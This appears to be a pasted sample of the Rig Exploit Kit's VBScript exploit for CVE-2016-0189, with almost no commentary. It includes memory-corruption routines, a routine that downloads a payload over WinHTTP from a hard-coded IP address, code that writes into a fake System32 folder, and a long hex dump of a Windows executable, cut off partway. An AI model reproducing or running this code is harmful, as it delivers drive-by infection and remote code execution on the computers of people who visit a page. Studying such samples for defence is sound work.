Rig Exploit Kit CVE-2016-0189 notes execution The script builds the VBScript Code CVE-2016-0189 godmode // leakMemory function Function sdfxcvxc(arg1, addr) ? d = dddfgergere & "%u0008" & fix3 ? c = d & intToStr(addr) & b ? x = UnEscape(c) ? aw = Null ? Set aw = New jhgjghjg ? Dim o ? o = aw.Cod(arg1, 2) ? sdfxcvxc = o ? End Function ? // Overwrite function Sub Rewwati(arg1, addr) ? d = dddfgergere & "%u400C" & trifix ? c = d & intToStr(addr) & b ? x = UnEscape(c) ? aw = Null ? Set aw = New jhgjghjg ? aw.Cod(arg1, 2) = CSng(0) ? End Sub ? // Overwrite function Sub Rewwati2(arg1, addr) ? Dim emptyval ? d = dddfgergere & "%u400C" & trifix ? c = d & intToStr(addr) & b ? x = UnEscape(c) ? aw = Null ? Set aw = New jhgjghjg ? aw.Cod(arg1, 2) = emptyval ? End Sub ? === Dim awdfgdf ? Dim awghjgh ? Dim awhgh ? Dim aw ? Dim lunnga(32) ? Dim y(32) ??? Function hegfhsdf ? Dim i ? For i = 0 To k3 ? y(i) = Mid(x, 1, k2 * 12) ? Next ? End Function ? ? Function hegfdf ? Dim i2 ? For i = 0 To k3 ? y(i) = Mid(x, 1, k2 * 22) ? Next ? End Function ? ? k1 = 1 ? k2 = 1999 + k1 ? fix1 = "%u4141" ? fix22 = "%u0000" ? dddfgergere = fix1 & fix1 ? k3 = 32 ? fix3 = dddfgergere & fix1 ? dfgdfgew = "%u0" & "000" ? fdgxvxc = "%u00" & "00" ? sdfddf = "%u4" & "242" ? jfdgdfgd = "%u0" & "016" ? ghdfgfdgghj = "%u" & "4242" & sdfddf ? trifix = fdgxvxc & dfgdfgew & fix22 ? d = dddfgergere & jfdgdfgd & fix3 & ghdfgfdgghj ? b = String(k2 * k3, "D") ? c = d & b ? x = UnEscape(c) ? ? Class MiddleD ? End Class ? ? Class jhgjghjg ? Dim Num ? Dim Num1 ? Dim Num2 ? Dim Num3 ? Dim Num4 ? Dim Num5 ? Dim Num6 ? Dim Num7 ? Dim Cod() ? ? Private Sub Class_Initialize ? ReDim Preserve Cod(k1, k2) ? End Sub ? ? Public Sub ZeroineL() ? ReDim Preserve Cod(k1, k1) ? End Sub ? End Class ? ? Function GogoGoA(arg1, s) ? lol = Null ? aw = lol ? Set aw = New jhgjghjg ? ? For i = 0 To k3 ? Set lunnga(i) = s ? Next ? ? Set aw.Cod(arg1, 2) = s ? ? Dim addr ? Dim i ? For i = 0 To k3 - 1 ? If Asc(Mid(y(i), 3, 1)) = VarType(s) Then ? addr = strToInt(Mid(y(i), 3 + 4, 2)) ? End If ? y(i) = Null ? Next ? ? If addr = Null Then ? document.location.href = document.location.href ? Return ? End If ? ? GogoGoA = addr ? End Function ? ? Function sdfxcvxc(arg1, addr) ? d = dddfgergere & "%u0008" & fix3 ? c = d & intToStr(addr) & b ? x = UnEscape(c) ? aw = Null ? Set aw = New jhgjghjg ? Dim o ? o = aw.Cod(arg1, 2) ? sdfxcvxc = o ? End Function ? ? Sub Rewwati(arg1, addr) ? d = dddfgergere & "%u400C" & trifix ? c = d & intToStr(addr) & b ? x = UnEscape(c) ? aw = Null ? Set aw = New jhgjghjg ? aw.Cod(arg1, 2) = CSng(0) ? End Sub ? ? Sub Rewwati2(arg1, addr) ? Dim emptyval ? d = dddfgergere & "%u400C" & trifix ? c = d & intToStr(addr) & b ? x = UnEscape(c) ? aw = Null ? Set aw = New jhgjghjg ? aw.Cod(arg1, 2) = emptyval ? End Sub ? ? Function ProtectMe(arg1) ? Dim addr ? Dim sexy ? Dim koles ? Dim mem ? Set dm = New MiddleD ? addr = GogoGoA(arg1, dm) ? mem = sdfxcvxc(arg1, addr + 8) ? sexy = strToInt(Mid(mem, 3, 2)) ? mem = sdfxcvxc(arg1, sexy + 4) ? koles = strToInt(Mid(mem, 1, 2)) ? Rewwati arg1, koles + & H174 ? fire() ? Rewwati2 arg1, koles + & H174 ? End Function ? ? Function rnds(strLen) ? Dim str ? Const LETTERS = "abcdehiklmnoprstuw02346" ? Randomize ? For i = 1 to strLen ? str = str & Mid(LETTERS, Int(23 * Rnd + 1), 1) ? Next ? rnds = str ? End Function ? ? Function hehgfggghsdf ? Dim i ? For i = 0 To k3 ? y(i) = Mid(x, 1, k2 * 12) ? Next ? End Function ? ? Sub fire() ? On Error Resume Next ? key = "ctELwuzs5N95a" ? url = "http://2.59.41.32/?MTU1MzE5&TLvuevfnc&EemvzLgg=already&RHECbdJo=known&WtwtClNNfyhhiSY=community&ff5sdfds=______- ____&FAvYZjemdJHfwU=constitution&ZRvyLGiwhLvSrYK=everyone&fWzpbLtKty=referred&nEYgWXQUwVQ=difference&t4tsdfsg4=_____&BdAsZLjHqMI=strategy&MYuiMkRpTojcDg=everyone&____=known&DszOgmUEubMnZAe=known&FZNkCwOQICJxUj=perpetual&pOVoXFCIEnmOTOr=heartfelt&BcnmjugLHKKOH=known&zUlJLBDZKG=heartfelt&aLPwIRHhVgNTUwOTIz" ? uas = Navigator.userAgent ? ? Set oss = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem") ? Dim osloc ? Dim awghjghg ? for each os in oss ? osloc = os.OSLanguage ? next ? SetLocale(osloc) ? ? ? Set req = CreateObject("WinH" & "TTP.WinHTTPRequest.5.1") ? fdgx4545c = "GET" ? req.SetProxy 0 ? req.Open fdgx4545c, url, 0 ? req.Option(0) = uas ? req.Send ? If 200 = req.status Then ? z = req.responseBody ? Set c = CreateObject("Scrip" & "ting.FileSy" & "stemObject") ? tmp = c.GetSpecialFolder(2) ? fake32 = tmp & "\System32" ? If Not c.FolderExists(fake32) Then ? c.CreateFolder(fake32) ? End If ? Dim uyu5t, dlltxt, sdfsdf, dop, fakedll ? ? dop = & h20 ? vxcv = 0 ? one = 1 ? forr = 4 ? jfsjdf = & h68 ? popi = 2 ? fdf = "10" ? ? ? ? sdfsdf = " 4D 5A 80 00 01 00 00 00 04 00 10 00 FF FF 00 00 40 01 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 0D 0A 24 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 03 00 21 3C 6E 58 00 00 00 00 00 00 00 00 E0 00 0E 21 0B 01 01 47 00 02 00 00 00 06 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 20 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 90 00 00 00 02 00 00 48 8A 00 00 02 00 40 00 00 10 00 00 00 10 00 00 00 00 01 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2C 70 00 00 D4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2E 74 65 78 74 00 00 00 00 60 00 00 00 10 00 00 00 10 00 00 00 02 00 00 50 45 43 32 5E 4F 00 00 00 00 00 00 20 00 00 E0 2E 72 73 72 63 00 00 00 00 10 00 00 00 70 00 00 00 0E 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 2E 72 65 6C 6F 63 00 00 00 02 00 00 00 80 00 00 00 02 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 EC 7C 40 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 4C 29 90 7F 11 95 73 BA 21 BE 16 E9 D2 84 05 14 DF 9F 5E E2 B9 41 67 D0 27 94 62 66 5A 4B A0 D2 D2 E7 46 67 AF 3E 68 0A CA 66 19 4A 8D F9 5C 1F 94 FB 14 56 31 1B 81 41 71 0E 04 AC 21 76 13 6F 7C 6C B8 2A 15 C7 B6 4B 56 02 CB CF 9A 04 27 22 40 59 9C AF B7 F8 59 60 28 7E E8 7A 9A F7 79 2C 9B CD F6 A7 BB 45 75 96 1B 69 6A D5 6E 76 B9 6A B0 71 5C A2 9A C8 2B 08 3F 99 D2 5D CD 9A 78 B3 8F EC F7 F0 A4 A7 05 62 C7 8E E0 62 05 53 83 D0 FE 16 72 99 0D 54 62 1D 5D A7 9C 20 79 C7 89 7D 7B FC A7 0A 70 80 3F E5 38 67 0B 97 35 3A 71 35 A4 C8 C7 79 E5 51 87 BE CD 20 91 B8 98 A8 2A FD CD F7 BA BD 22 9D F7 90 D6 3A 5F 58 43 50 CF 13 3F 90 A1 AB D8 7F 56 32 6D EF B2 CD B7 67 17 E1 F9 5C 8A A6 5E C4 2D EB A9 18 F2 DB 6D C0 40 5D FC DC 50 10 4C 1D 7F CA D4 3D C2 21 3A D7 EE 1F 54 AF EA FB 76 6F 4A 16 89 F3 A5 E6 8D A9 D0 1E A7 BC 87 30 56 12 D9 92 C9 92 9E 86 DF 9B 87 54 72 E4 45 F4 2F 17 1C 7D BD 07 C3 F5 88 E1 CC 85 70 3F 1F 66 36 8D C5 69 7D C6 1D B4 CA 64 C4 27 A0 B5 AB 82 39 E1 C2 44 DC 15 82 A4 51 FB A3 39 74 33 B2 24 75 7D 72 20 53 20 06 7B 15 1D 07 5C D8 73 B7 1F EB 74 E2 99 64 D8 2A 18 81 E0 BB 5E 71 07 6E 47 34 0C CF 10 D2 AF 53 87 12 58 41 BB 6B 92 EB 6E 93 FF E5 43 95 D1 ED 16 8A F1 B5 E6 8C BD 5D FE 8C 49 A9 2C 0A 41 6A 93 39 02 BD 8A 1E D4 DC 3D 33 1E 30 BF 0C 31 FF DF F9 BB 7E BF 55 C9 94 CB 7F F7 19 83 32 95 F8 34 A1 19 55 D3 2B ED 30 A3 CA 86 62 C7 6B F1 7A B3 0A D6 0F 83 E1 3B 39 91 4A 0C 4E 09 C5 4B C8 D4 8E 2A 52 83 29 42 6B F2 D4 10 B9 0A C6 6E 2E 72 8F 82 E1 C6 14 E7 2D 44 36 54 9D 6F 60 40 59 8D 06 BF 51 5F 16 1B 86 62 05 21 07 E2 CD 1B 21 6F 4F 9C 50 21 22 77 05 C6 AD 0F D0 39 42 2C A3 0D E4 2E 8C 3A 31 C0 74 C5 9D AE 8F 05 5A 25 77 9F 5F 33 59 42 A5 38 1D 65 90 92 70 BA 26 12 6B CD DF AA EA 6C 48 DE 22 0F 20 88 59 DD 95 C7 39 AE 42 64 43 97 E9 BD C5 AC 62 FA 15 CE 5B A7 A5 2A 95 3E F1 EA C0 61 B9 57 DC 27 E4 06 36 C9 A9 B3 82 19 80 4B E3 9A 02 87 F6 87 EE 88 DC F3 A8 FA A8 1A 14 C4 3B 3A 18 E6 D1 00 7E 94 F6 60 20 52 A1 B5 B3 FC 33 C2 ED 45 82 90 69 C3 58 52 1D E6 A0 99 55 5F AA 53 79 2E 7C 57 BD FB C1 D6 5F 65 2F 91 E9 26 68 7A FE AA 27 93 16 18 0F 17 22 1F A2 E8 46 DA CD F8 0C 18 18 F7 18 8C 23 38 2A F5 73 50 82 22 AB 10 CE A2 DC 0C 0C 00 1D 4F 57 05 01 3C 66 07 9A 2A 3D 61 66 7F FB CC 01 F1 DE 0A D8 D8 C1 7C 99 09 C5 8E B1 FE BB 27 09 29 7E 1B 24 83 25 E4 60 84 AA E0 2D 74 3A 83 2A 4A 2E D7 93 E7 88 D2 34 72 E9 3C 8F EB 03 74 BF 78 95 D5 DA 20 8C A6 C0 A6 A9 68 B3 FB 33 1C 08 11 CD B4 5F F6 48 FD 39 17 52 08 AA CA BA FD 07 66 D3 8F 90 ED 72 5C 5E D5 92 6D 40 9D 7B AC 9D 6F 6C CB DC 75 06 64 E9 E5 E3 48 1C 02 AE 39 AE 20 FE BE B5 B6 DD 43 62 74 6B 59 45 83 8E A9 0E 8C 5A 7F 5C 42 BF 11 75 A0 CA 9E CB 58 F9 76 4F EA A9 8C C5 7F A4 26 A8 2B D1 8A B3 C5 C2 92 19 EE D4 A8 C3 9D 66 6E DD C5 16 7C 33 A5 79 FB 1B D1 1F D3 23 D1 CF 19 06 07 38 D8 B6 83 BB 68 1A 00 EA 7E 13 BE D5 D0 68 6B 70 05 A1 3C 1B BD 8F 72 C0 28 34 E3 FA 49 90 AB 87 3F 25 08 32 F3 2D D3 F3 8D D6 9E 3F B7 B0 0E 39 80 6D 19 D4 BB 66 C0 76 FF BB 7A 0D E7 9D AD CD 2B 07 80 BD 0B CD CD C8 6A 94 E1 6E 2C 9F C5 B5 02 AB 26 36 BF CE 45 84 9E F5 88 49 E9 AA 78 D8 2E 4B 58 B8 3F 3C 6F 75 A5 D8 EB D6 AB 39 02 F3 3E A5 A1 E9 64 B9 D8 F7 C9 76 F2 CC 4D 2E B4 9A E1 97 D8 3C 14 63 0A 63 A2 5B 9A 44 1F 01 79 14 FA 7F E2 C3 C6 A7 7B AB 69 E8 6B 27 92 32 6B 08 A7 8D 53 32 D4 C8 9F 1D 9E 85 13 2D 7E 12 DE 8A 0B BD 38 41 E6 FD A5 C1 C3 E6 72 2A AA DA 73 15 3D 01 E4 5C 2F C5 91 8E 6F F0 39 02 82 37 DA FB 99 0B 9E AC E9 8A B8 FC BD DA 90 25 CF 4F 2E 7F AE 04 EA 6F A1 E6 E0 36 C7 CC 10 83 45 33 E4 73 91 9D 4F FB 23 07 43 8C A0 05 16 F5 77 35 4F 74 7A 4D 1A 7E 84 64 00 9B 29 D5 9A DE CF C7 62 27 D1 11 6D 7E AB 5C D0 A5 BC 56 FE 88 18 5D 32 6E CA 78 8B DF 40 7C 16 47 B4 DE 69 40 86 01 BE EF DA FD 81 1A 05 C2 AF 69 E5 F7 E3 9B 02 24 E9 B0 9F 33 F8 12 D2 37 C5 0E CE DD 76 A7 5F 84 17 B2 A2 D9 59 D9 16 DB 7A F6 9E 5E D7 48 D7 7C 4F CD DE 01 9F FC 42 A2 56 F8 23 C1 1A A9 7D 18 A3 EF 01 45 45 D7 8B C5 5C 37 C6 07 48 90 15 CB 3A F1 56 C3 64 6C 16 AD 5F FB 25 5C 25 AA D0 29 AD AA 49 BE DA 8A E3 A6 90 DE BF E8 C5 62 DC 07 80 C6 BE C1 2F 69 4C BC 27 C5 D2 21 DB 38 A3 4D 47 D7 24 8D F3 21 0B 39 37 25 3D 16 0A A0 78 1E 11 2E BA A8 09 6B 72 38 99 57 B8 E2 1C 93 E9 50 D6 EC C7 1F 02 10 A9 4B 85 55 AD A1 ED 21 FB 8A 6E 30 E6 7D 30 A0 C6 BD 11 A4 A9 05 F0 E2 E0 A8 C8 E7 5A 6B 41 C5 7C D8 66 87 35 08 F5 2E 36 63 ED EF 9C 27 CF 2D C0 7A 78 61 06 4E C0 FE AA 81 BE 76 F7 97 A9 35 B4 DA 59 13 3F C7 8B 51 17 51 1F C8 FE 59 6F 69 BD E1 E2 32 EE CB 37 79 89 85 14 6E 8F 6D 20 1D DE 30 8E 7A E1 2F 29 32 BB 4B D4 9C EF F3 0B 89 6C 66 F6 3C 03 F3 B0 51 D7 E0 D5 72 B8 53 2C AB 17 38 6D 5C D1 F3 76 06 0F 2E AE 09 06 F1 96 09 1C 10 37 D7 70 2A C9 33 5B 7B 76 79 7D 13 38 24 C9 BC F6 0B C4 89 67 DC 34 91 81 10 68 CD 74 47 93 1A F8 76 65 D0 68 09 C6 AE 0A 1B 61 26 84 E6 77 21 D3 C0 93 BD D9 10 15 85 1C F3 B5 91 4C 35 4D 28 4D 58 E6 99 D4 81 9C 61 C8 40 15 A4 14 EE E0 ED DD 69 4E D0 56 D4 4E 5C A0 28 BC D5 E3 1A 1F 80 24 AE B9 B9 86 9C 97 94 BD 43 76 7C F9 EC F1 90 00 AF B6 7C 41 27 30 E8 59 94 D6 A1 75 75 33 07 30 77 F6 EA 26 E8 E5 0C 64 06 39 79 22 05 9D FA 9B 42 D4 57 25 D4 9E 59 65 CE 23 37 90 CA 5B D9 5E B0 4D 68 FD 9D 97 80 94 E2 8B 17 37 72 D7 87 03 7B 95 AF 69 8F 0B 9A 09 EE EB 75 86 17 BB 08 32 05 B9 30 80 72 AA 78 07 A9 6A 73 EF 80 E3 FA E6 00 69 5C 36 7C C1 EA 3F 87 75 97 D8 AF 53 17 A2 E6 84 73 4F 62 E3 1A 25 09 B9 67 F0 56 4F 7D 4D 5E 28 81 A0 70 B2 36 14 BC 62 8C 63 22 C1 47 03 EA 5D AA 18 C0 AD A6 68 A5 D3 EF 52 59 11 29 1A 08 FC 6A 96 A0 80 7B 99 8C 07 CF 76 8E C4 60 EF 3D B4 CB 6D BD F3 DD 6B AB 27 BD 14 7A C3 F4 33 91 BD 99 55 A0 E6 9D 37 3E 3D C1 90 EF 1D 3B F4 88 A2 5F C2 C2 19 4E A5 79 A3 4D B2 98 56 17 25 D5 45 E2 E5 07 F2 02 A7 E8 E4 34 66 FF BB E1 31 C3 87 AA 7A 68 61 8C 83 E8 1B 88 0B 81 0D BB 6B E9 E4 77 01 2D 3D 1C 73 25 C8 0E 1F BA CA C7 94 7C 66 59 B4 82 1C A8 02 EA FC 0B B0 61 17 B4 BD C0 5E D7 64 C3 C6 B3 30 A8 45 BE 92 FD BB 7D 86 D3 12 4A 96 63 DB A3 89 58 FA 64 76 83 80 95 25 D1 3D 94 05 8E 77 08 41 8E 2E 35 B4 35 86 01 19 0D B7 38 3E 3C 25 62 B3 9E B1 BB CB 3E 5F 67 17 6C 6E F5 6C 2C FE 14 6F 35 2B 18 BC 3E DF C7 D5 F2 C8 39 71 93 CA A7 B7 DF 99 AB 26 1E 5B 84 1E 8B D7 09 15 9D 0F 07 5A 71 8D 03 78 A2 7C 9B 4F 3E 7C 4A E2 FF D0 37 3F 0C A0 DD B6 02 F0 2D 1B C6 70 D8 25 F8 49 F8 9F 66 D9 5F 4D 73 3C B5 AE 3C 9E A2 21 19 82 37 70 86 83 2E 3C B0 92 E0 92 8D CD E4 7F F7 C1 FC C2 4A 0E CC 9A 8A 3C E3 F9 7D 1F EE 2F 18 11 22 AF 1E 58 4A 57 68 26 A2 97 C8 C0 F6 11 77 E1 3D 4A 87 84 92 50 E1 2D D1 65 D3 91 C1 41 64 3A 8F CD EF 4B 4C F9 D7 C5 AD B2 2D D7 D6 FD D0 0D 7B DA 1C 7A AE E0 4C F1 96 B0 F1 B2 D2 16 5A 13 44 EA 1E C5 7D B3 17 4F 64 EA 09 60 72 2C 10 37 47 9E DA F2 C4 D7 E5 06 32 8A FD D3 FA 50 C4 88 FD A3 E7 2F B0 AE 07 EE 77 CC 9B 1E AA 62 08 63 56 42 96 FC 3D 05 B3 20 44 0C C2 0C 4F E9 1E 93 57 8E E8 74 D2 49 28 35 5D C5 FA 0E 32 C1 1D 84 D7 A7 34 3A 30 DB 0B D1 30 7C 05 38 35 7D 1D 8F F0 3C EA 93 AD 5E D8 54 3E E5 3C F4 A2 EE EC 3C 8F B1 5C 30 7E FB 71 EA 74 0A 62 15 6E 77 88 CF 85 7C 73 E6 50 F8 CC 33 1E 2E DB 54 D3 27 43 27 25 FC 8F 75 DF E1 E2 5B C2 9A B1 00 65 2D A2 D0 89 56 61 10 84 82 DB 95 2C 88 DB E5 44 A6 02 83 7D 0B 40 ED 80 CA 38 C0 6D 37 F1 7E 65 84 9C 7E 0D 8A 47 F1 4D AA 15 76 D9 75 52 B1 31 47 BA 6B 67 DA 6B D9 2E 07 02 EB 28 25 4F 17 13 33 5A 9A E2 AA 74 07 D1 C1 1A C5 D2 6D 89 3D 7C C0 79 5B E3 9C 12 8E DD AF DD 38 25 96 74 7D 87 C3 D0 76 F6 A7 5C 2B 5F 27 F8 14 A0 D0 39 9E 7A A6 99 9F B3 1E B5 78 92 6B 74 2D 9C AA B6 AE FA B1 29 56 E9 1C CC FB 4B D5 BF A3 76 60 F4 AE 0A 8F 8B AB 38 CD 67 6A 27 1A BB E8 A0 F7 96 E5 C4 84 2A 8F F8 7C 03 93 80 EA DF A6 D4 74 EB D2 E3 DF FA 21 09 04 DB 65 72 51 4D 45 A8 E0 AD F6 29 7C 9E 07 F3 86 23 23 8E 0A F3 EB C6 A0 76 FC D2 84 5E 30 DD EF 67 BE FB 8B CA F5 8E 8F 02 D1 98 BE 89 B5 90 8B A3 C5 DA 08 3D 77 8E B2 34 73 5E 49 5E 6B D6 B9 D7 1D BE 70 FA D0 10 E0 45 31 E7 BF 24 2B 67 A6 E2 6A 00 AC 4E CE 97 4D 41 6C E1 99 E1 84 4C ED AC B5 85 27 41 DB A3 09 4A 37 9F B9 E8 D7 CB 53 FF E7 50 CB 7B 1C CE 7F 7A 79 50 D1 96 31 E3 2D C2 77 94 4E AD 92 E4 48 87 39 A3 A5 69 37 BF F2 3A 09 29 89 4F 91 5A 2A 8F EA F7 93 E9 85 8D F7 B4 36 7D D1 46 78 33 F9 14 85 AB 5B 0C BF 96 5C D2 EA F1 0F 23 9C 12 B3 B3 14 6B 95 D1 CB 4D 19 2B 82 49 3B A3 0A E6 CE 53 E2 09 B0 19 4C 06 86 AA 9C 32 5E 4D CE 6B DB E3 D9 10 1C C2 DF F2 E0 A0 8B DD A8 E6 37 B3 1D CB D1 78 70 5A CC AB E6 B2 97 BB 25 FD 62 58 CA B0 90 A1 B8 F4 69 CD 29 5C AB F3 5C 20 90 B6 B5 EF 78 B5 84 8C 15 D9 FC 7C EE 24 19 A2 69 EA 1C DF 87 5D B1 87 1F 88 F8 18 8D 0C 85 8F EE 85 14 00 D0 AB 89 EE 7D 71 D0 1F 4F 78 CA D2 EB 3C F5 06 90 25 9B D6 DD 87 9E A7 04 FF 25 9B 68 C0 DA 3E C0 59 11 D5 D0 5A C9 33 50 61 58 5F 16 04 2C 12 5A 00 53 36 46 6B DB 82 FD 66 BD 54 84 89 63 74 6D B2 3E C7 3F 79 67 8C F3 B5 71 1C 9A 35 2E 82 FC 34 8C B0 0D A7 F6 A9 53 97 E4 B3 CA 2B 3A EB DE F1 30 14 C4 60 A8 90 38 B5 78 46 0C 11 5F FA 7F A5 83 5D 03 B5 D2 8B BE C2 83 3B 40 01 EA 84 D8 BD 38 32 8C 89 B4 27 C4 49 EC 58 2C B1 85 D0 1B 1A 3E C5 6F 80 C6 5F 2D 96 55 59 CA 3E B5 23 E4 B6 AC 8D A1 B1 48 A0 0E C8 AA BF 91 4A E4 8B 04 D8 D6 41 82 A7 A9 21 8A F5 F3 A5 07 A7 73 9D 2E E8 5F 02 A3 6C 6B 14 40 BF B2 3E EC AF 1B 26 9D FD 4A 24 17 78 BA 7F E3 89 E0 01 F7 F8 77 B9 11 35 56 51 87 EC 1C 35 3A 91 03 18 8C F4 BD 19 DB 5D 0B 6D 5C 88 B9 E9 27 75 33 C0 16 0B 62 2F B7 44 60 DC 63 EC 14 85 1D AE 82 44 5F EA E8 25 CE 1B 41 86 1D CC 2C E3 88 35 C6 FE AC 28 DB AE 4A 91 4E A4 2A 5E B1 F4 EA 2E 62 71 FD 8D DA C2 3E 57 DD 06 02 87 7A F4 36 B1 81 4C 84 34 58 4B 6B 18 C8 49 43 38 B8 12 DE C1 E5 89 5D 63 15 7B 44 98 CF CC C2 1B EF BE 19 0E 42 28 F3 E6 57 42 2C 61 9F BC F1 4B 0E 99 A3 0F DD AF F4 34 FE FA 3E 48 87 D4 3D A7 7F 07 EA C6 8C C6 D2 AA B4 27 0B 4D D7 08 F3 B6 F4 F2 01 76 CB CC 33 D7 9C 3E C0 6D 21 7F 3B 02 0A D5 AC 24 ED 18 60 DD 97 93 F7 F1 45 90 80 AC C0 6D 06 A7 85 99 5A 9C 50 5D 15 B2 2F 5F B7 8B 07 25 1F 5F 68 54 DB EA 82 7E 34 F3 F2 1A 69 36 97 CF 0E EC 27 34 8F F7 EB 14 7C 9E 17 9E DD B5 C1 08 EA 90 12 74 C7 70 9F A6 67 36 80 85 3B D8 A4 C8 C9 15 3E C2 7C 15 54 6F 46 4E 24 E5 66 89 6B 49 D9 35 F5 5E 2D 1D 9E 82 B6 98 A8 D6 D6 2B 7D 19 66 97 B1 23 29 B5 C3 BC 4B 71 E5 1A B1 59 0C E4 C3 37 49 9F 8E 04 59 AD 60 33 DC 24 1D D0 C6 C2 C8 1B EF 2B DF 71 60 88 8F 7F F7 C2 EE 8E 23 8A E9 49 99 36 F2 36 57 B1 BB 1A BC C9 65 29 D9 DA 88 FF B5 B0 12 5E 08 04 9E DF 01 9D 42 41 09 88 98 78 0F 61 16 34 A8 1B E6 F9 9A 90 57 49 5E 02 F0 42 36 A6 72 D2 42 47 8A D9 5B D2 18 3F 20 5C FA D4 27 0A 2C D8 95 F9 D0 A5 94 F4 5C FF 67 6A DE 8E BB 6D 55 5E 67 88 2F CD E9 3E 9F 20 3E 56 5D 72 88 5A 80 A7 5B 79 65 D0 AD 60 EF 3C 54 3B 4B B0 27 3A 5E 8F 96 55 A9 64 7B B3 64 93 86 FE 18 F4 D5 C9 74 F3 D4 21 4F F3 72 28 B5 ED 0C E2 8C EF 58 C0 AC C8 A8 DC E3 64 54 D1 AE DE A1 66 B3 2D 31 18 D1 39 96 11 08 96 E7 60 7C D6 FE 0E 45 30 D9 07 E5 46 79 AA 0C 1D D9 17 73 BE D9 77 A3 3A 3E FB C4 5E 70 37 A1 67 B8 3F 0C 0C 7A 62 B9 B5 26 2F 82 AA F3 4B BE F3 D5 F5 EE 90 E0 F5 86 11 7F F7 DC B3 61 97 A7 D7 D7 2D 76 7E 0E 7A AE 0C 5E 08 B6 75 A0 7E 0E 87 06 30 79 1F CD CE B4 0E 1D 6B 5D CF 5F B7 A8 EB 6B 04 68 42 FA 00 49 92 BE E0 75 15 6A AF 1B D3 85 0B 80 1B A0 91 C7 C0 BC A3 83 FF D9 35 FA 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 70 00 00 88 70 00 00 9C 70 00 00 AC 70 00 00 00 00 00 00 CC 70 00 00 00 00 00 00 10 70 00 00 00 00 00 00 FF FF FF FF 68 70 00 00 10 70 00 00 24 70 00 00 00 00 00 00 FF FF FF FF BC 70 00 00 24 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 41 44 56 41 50 49 33 32 2E 44 4C 4C 00 00 00 00 00 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 73 55 73 65 72 57 00 00 2A 0F 00 00 02 00 00 01 00 00 5C 33 98 9B 8E CD DB E6 A2 57 A7 4F 47 51 0B A2 20 39 65 88 3D D2 B2 03 15 00 08 E1 48 01 E9 30 F7 07 0A 55 8B EC 72 83 75 34 3C 45 08 39 48 F9 38 65 F0 67 08 F8 00 33 D2 42 53 07 56 8B 70 0C 57 41 DA D3 E3 9E 30 04 F8 7D 79 FA 01 E7 89 45 D4 03 C8 B8 C3 A6 68 F8 E0 3F 4B 4F 06 75 EC 05 36 81 1C C6 45 0B 3E 1F 5D D0 CE 7D CC C6 55 E8 06 40 E0 E4 80 DC 74 32 0B 8B 57 04 0E E3 FE F3 AB 37 BA 0C AC 3E 06 6A 05 84 79 FC 07 C8 FF 59 8B 75 7E 60 55 0C 0F B6 36 03 C1 E2 08 0B D6 FF 37 2A 49 64 F0 75 E9 39 4D 3B 18 77 80 33 C0 5F 5E 5B C9 C2 F5 B3 72 A8 23 9B F0 B1 4D F8 80 56 EC C1 E1 04 03 CB 0A 8D 3C 8A 3D B5 86 01 73 17 24 C8 80 4D 